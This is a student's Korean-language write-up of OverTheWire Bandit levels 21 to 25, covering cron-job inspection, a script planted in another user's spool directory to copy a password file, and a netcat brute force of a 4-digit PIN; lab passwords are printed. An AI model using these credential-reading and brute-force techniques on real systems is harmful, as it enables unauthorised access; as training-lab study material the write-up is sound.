

Bandit 레벨 21 ~ 24 라이트업

정보보호학부 2024111262 조현서

Lv. 21 → 22

Bandit Level 21 → Level 22

Level Goal

A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

Commands you may need to solve this level

`cron`, `crontab`, `crontab(5)` (use “`man 5 crontab`” to access this)

프로그램이 cron 이라는 시간 기반 작업 스케줄러에 의해 정기적으로 자동 실행되고 있다고 한다. /etc/cron.d/ 디렉토리에서 설정 파일을 확인하고 어떤 명령이 실행되고 있는지 알아보라고 한다.

Cron은 스케줄 프로그램인데, 일정시간마다 특정 명령어, 특정 프로그램이 실행되게 만드는 것이다. /etc/cron.d/ 디렉토리에다가 어떤 프로그램이 실행될지 설정을 해둘 수 있는데, 그 디렉토리에 가서 확인을 해보려고 한다.

```
bandit21@bandit:~$ cd /etc/cron.d
bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit15_root cronjob_bandit22 cronjob_bandit24
cronjob_bandit17_root cronjob_bandit23 cronjob_bandit25_root
```

Ls 명령어를 사용하니, cronjob이라고 해서, cron으로 실행될 설정 파일들을 볼 수 있다.

```
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
```

Cronjob_bandit22를 출력해보니, 매 1분마다 프로그램이 bandit22의 권한으로 실행되는 것을 알 수 있었다.

```
bandit21@bandit:~$ cd /usr/bin/cronjob_bandit22.sh
-bash: cd: /usr/bin/cronjob_bandit22.sh: Not a directory
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

읽어보니 tmp 디렉토리에다가 t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv 파일을 만드는 것 같다. cat으로 bandit22 비밀번호를 해당 파일에 저장하는 것처럼 보인다. 해당 파일을 cat으로 출력해보니, 비밀번호는 "[tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q](#)"이다.

Lv.21 → 22해결

Lv. 22 → 23

Donate? Help?

Bandit Level 22 → Level 23

Level Goal

A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

Commands you may need to solve this level

`cron, crontab, crontab(5)` (use “`man 5 crontab`” to access this)

해석해보니, 전 단계와 내용이 똑같고 추가된 내용은 다른 사람이 작성한 셸 스크립트를 읽는 것은 매우 유용한 것이라고, 이 레벨의 스크립트는 읽기 쉽게 의도적으로 작성되었다고 한다. 스크립트의 동작을 이해하기 위해, 실행하여 디버그 정보를 확인해보라고 한다.

```
bandit22@bandit:/etc/cron.d$ ls -al
total 28
drwxr-xr-x  2 root root 4096 Dec  4 01:58 .
drwxr-xr-x 88 root root 4096 Aug  3  2019 ..
-rw-r--r--  1 root root  189 Jan 25  2017 atop
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16  2018 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit22@bandit:/etc/cron.d$
```

이번 단계에서도 `/etc/cron.d/`로 이동해보니, `cronjob_bandit23` 파일이 있는 것을 확인하여서,

```
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/etc/cron.d$
```

Cat 명령어로 해당 파일을 출력해보니, 재부팅할 때마다, 매 순간마다 /usr/bin/cronjob_bandit23.sh 파일이 휴지통으로 버려진다고 한다. 어떻게 할지 전혀 감이 안 와서 다른 사람들의 풀이들을 참고해보니, 맨처음에 접속할 때, ssh 뒤에 사용할 명령어를 붙이면 바로 실행할 수 있다고 한다.

```
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
```

또 cat으로 해당 파일을 살펴보니, mytarget 값을 찾아내야 할 것으로 보인다. Myname 은 bandit23이니 실행시켜보려고 한다.

```
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
```

Myname이 /tmp/8ca319486bfbbc3663ea0fbe81326349 안에 있는 값을 알아내면 될 것으로 보인다. 이를 cat을 통해 확인해보니, 비밀번호가 "0Zf11ioljMVN551jX3CmStKLYqjk54Ga"로 출력되었다.

Lv.22 → 23 해결

Lv. 23 → 24

Bandit Level 23 → Level 24

Level Goal

A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around...

Commands you may need to solve this level

chmod, cron, crontab, crontab(5) (use "man 5 crontab" to access this)

이것도 위에 내용은 전 단계들과 똑같고, 이 레벨에서는 직접 첫 번째 셸 스크립트를 작성해야 한다고 한다. 또한, 셸 스크립트는 한 번 실행되면 삭제되므로, 사본을 남겨 두는 것이 좋다고 한다.

```
bandit23@bandit:~$ ls -al
total 20
drwxr-xr-x  2 root root 4096 Apr 29  2019 .
drwxr-xr-x 41 root root 4096 Oct 16  2018 ..
-rw-r--r--  1 root root  220 May 15  2017 .bash_logout
-rw-r--r--  1 root root 3527 Apr 29  2019 .bashrc
-rw-r--r--  1 root root  675 May 15  2017 .profile
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls -al
total 28
drwxr-xr-x  2 root root 4096 Dec  4 01:58 .
drwxr-xr-x 88 root root 4096 Aug  3  2019 ..
-rw-r--r--  1 root root  189 Jan 25  2017 atop
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16  2018 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$
```

이번 문제 역시도 재부팅할 때마다, 매순간 /usr/bin/cronjob_bandit24.sh 이 휴지통으

로 버려지는 것 같다.

```
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 ./$i
        rm -f ./$i
    fi
done

bandit23@bandit:/etc/cron.d$
```

매 1분마다 /var/spool/bandit24에 있는 모든 스크립트가 실행되고 삭제되는 것 같다.

```
bandit23@bandit:/var/spool/bandit24$ mkdir /tmp/mydir333
bandit23@bandit:/var/spool/bandit24$ vi /tmp/mydir333/my24.sh
```

사이트 설명처럼 직접 셸 스크립트를 작성해보려고 한다.



The screenshot shows a terminal window titled "bandit23@bandit: /var/spool/bandit24". The prompt is "#!/bin/bash". The user has entered the command "cat /etc/bandit_pass/bandit24 > /tmp/mydir333/rst.txt". The terminal shows several tilde (~) characters, indicating the vi editor is in insert mode. At the bottom, it says "-- INSERT --" and shows the cursor position "3,54" and "A11".

위에처럼 작성했는데, 이는 bandit24의 패스워드를 /tmp/mydir333/rst.txt 라는 새로운

파일로 저장하겠다는 의미다.

```
ndit23@bandit:/var/spool/bandit24$ chmod 777 /tmp/mydir333/my24.sh
bandit23@bandit:/var/spool/bandit24$ ls -al /tmp/mydir333
total 305928
drwxr-xr-x 2 bandit23 root      4096 Mar  3 13:58 .
drwxrws-wt 1 root      root    313204736 Mar  3 14:07 ..
-rwxrwxrwx 1 bandit23 root        67 Mar  3 13:57 my24.sh
bandit23@bandit:/var/spool/bandit24$
```

my24.sh을 /var/spool/bandit24(현재 디렉터리)에 복사해주고 1분정도 기다렸다가 /tmp/mydir333의 목록을 확인해보았다. 그 중간에 접근 권한을 777로 바꿔주었다. 이렇게 권한을 조금 손 봐주면

```
bandit23@bandit:/var/spool/bandit24$ cp /tmp/mydir333/my24.sh .
bandit23@bandit:/var/spool/bandit24$ ls -al /tmp/mydir333
total 305932
drwxr-xrwx 2 bandit23 root      4096 Mar  3 14:10 .
drwxrws-wt 1 root      root    313204736 Mar  3 14:10 ..
-rwxrwxrwx 1 bandit23 root        67 Mar  3 13:57 my24.sh
-rw-r--r-- 1 bandit24 bandit24   33 Mar  3 14:10 rst.txt
bandit23@bandit:/var/spool/bandit24$
```

Rst.txt가 생긴 것을 확인할 수 있다.

다음 단계의 비밀번호는 "**gb8KRRcsshZXl0tUuR6ypOFjiZbf3G8**"이다.

Lv.23 → 24 해결

Lv. 24 → 25

Bandit Level 24 → Level 25

Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time

포트 30002에서 데몬이 실행 중이며, bandit24의 비밀번호와 4자리 숫자 핀 코드를 입력하면, bandit25 비밀번호를 얻을 수 있다고 한다. 핀 코드를 얻는 방법은 10000개의 모든 조합을 시도하는 "브루트 포싱" 방법밖에 없다고 한다. 브루트 포싱이란 무차별 대입 공격인데, 그냥 쉽게 말해 일일이 다 대입해보는 노가다라고 생각하면 된다.

```
bandit24@bandit:~$ nmap -sT localhost -p 30002

Starting Nmap 7.40 ( https://nmap.org ) at 2020-03-07 06:51 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
PORT      STATE SERVICE
30002/tcp open  pago-services2

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
bandit24@bandit:~$
```

문제에서 말한 30002 포트가 열려있는지 확인해보기 위해 포트 스캐닝을 해보았다. Nmap 명령어를 사용해보니, 30002가 열려있는 것을 확인할 수 있다.

```
bandit24@bandit:~$ nc 127.0.0.1 30002
I am the pincode checker for user bandit25.
Please enter the password for user bandit24
and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAw0mw1lohZ 2345
Wrong! Please enter the correct pincode. Try again.
UoMYTrfrBFHyQXmg6gzctqAw0mw1lohZ 2349
Wrong! Please enter the correct pincode. Try again.
fsd
Fail! You did not supply enough data. Try again.
```


로컬 호스트의 30002에 접속해보니, user bandit25의 핀코드는 checker라고 한다. Bandit24와 4글자의 핀코드를 적으면 bandit25의 패스워드를 줄 것 같아보인다.

```
bandit24@bandit: /tmp/mylevel25  
#!/bin/bash  
password24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ  
  
for i in {0000..9999}  
do  
    echo $password24 $i >> passlist.txt  
done
```

:wq!

위와 같은 식으로 셸 코드를 짜보았다. 0000부터 9999까지 for문으로 4자리의 핀번호를 passlist.txt라는 새로운 파일에 저장하였다.

```
bandit24@bandit:~$ cd /tmp/mylevel25
bandit24@bandit:/tmp/mylevel25$ ls -al
total 305928
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:11 .
drwxrws-wt 1 root      root 313204736 Mar  7 07:11 ..
-rw-r--r-- 1 bandit24 root      125 Mar  7 07:09 test.sh
bandit24@bandit:/tmp/mylevel25$ ./test.sh
-bash: ./test.sh: Permission denied
bandit24@bandit:/tmp/mylevel25$ chmod 777 test.sh
bandit24@bandit:/tmp/mylevel25$ ls -al
total 305928
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:11 .
drwxrws-wt 1 root      root 313204736 Mar  7 07:12 ..
-rwxrwxrwx 1 bandit24 root      125 Mar  7 07:09 test.sh
bandit24@bandit:/tmp/mylevel25$ ./test.sh
bandit24@bandit:/tmp/mylevel25$ ls -al
total 306300
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:18 .
drwxrws-wt 1 root      root 313204736 Mar  7 07:18 ..
-rw-r--r-- 1 bandit24 root    380000 Mar  7 07:18 passlist.txt
-rwxrwxrwx 1 bandit24 root      128 Mar  7 07:18 test.sh
```

Test.sh를 만들어줬는데 permission을 777로 바꿔준 다음 다시 실행하였다. 그리고, 저

기에 passlist.txt가 긴 것을 확인해보았다. 이제 nc로 30002 포트에 연결할 때 저 파일을 같이 주도록 하겠다.

```
bandit24@bandit:/tmp/mylevel25$ cat passlist.txt | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24
and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
..
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
```

cat으로 해당 파일을 실행시켜보면, correct 문자가 나오면서 다음 단계 비밀번호가 출력된다.

다음 단계의 비밀번호는 "[s0773xxkk0MXfdqOfPRVr9L3jBU0gCZ](#)"이다.

Lv.24 → 25 해결